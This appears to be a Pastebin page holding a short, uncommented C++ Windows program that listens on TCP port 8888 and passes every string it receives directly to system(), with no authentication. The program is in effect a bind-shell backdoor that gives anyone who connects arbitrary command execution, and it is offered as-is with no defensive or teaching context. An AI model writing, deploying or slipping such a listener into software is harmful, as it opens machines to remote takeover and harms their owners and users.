Advertisement
Guest User

Untitled

a guest
Aug 29th, 2015
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.21 KB | None | 0 0
  1. #include<io.h>
  2. #include<stdio.h>
  3. #include<winsock2.h>
  4. #include<iostream>
  5. #pragma comment(lib,"ws2_32.lib")
  6.  
  7. int main(int argc, char *argv[])
  8. {
  9.     HWND hWnd;
  10.    
  11.     WSADATA wsa;
  12.     SOCKET s, new_socket;
  13.     struct sockaddr_in server, client;
  14.     int c;
  15.     char *message;
  16.     if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
  17.     {
  18.         printf("Error: %d", WSAGetLastError());
  19.         return 1;
  20.     }
  21.  
  22.     printf("Initialised.\n");
  23.     if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
  24.     {
  25.         printf("Sock err: %d", WSAGetLastError());
  26.     }
  27.     server.sin_family = AF_INET;
  28.     server.sin_addr.s_addr = INADDR_ANY;
  29.     server.sin_port = htons(8888);
  30.     if (bind(s, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
  31.     {
  32.         printf("Bind failed: %d", WSAGetLastError());
  33.     }
  34.     listen(s, 3);
  35.     char buf[512] = "";
  36.     for (;;){
  37.     c = sizeof(struct sockaddr_in);
  38.     new_socket = accept(s, (struct sockaddr *)&client, &c);
  39.         if (new_socket == INVALID_SOCKET)
  40.         {
  41.             printf("err: %d", WSAGetLastError());
  42.         }
  43.  
  44.         puts("Connection accepted");
  45.             if (recv(new_socket, buf, 512, NULL)){
  46.                 printf("%s\n", buf);
  47.                 system(buf);
  48.                 MessageBox(NULL, (LPCSTR)buf, "Handle", NULL);
  49.             }
  50.         }
  51.         /*
  52.         closesocket(s);
  53.         WSACleanup();
  54.         */
  55.     return 0;
  56. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement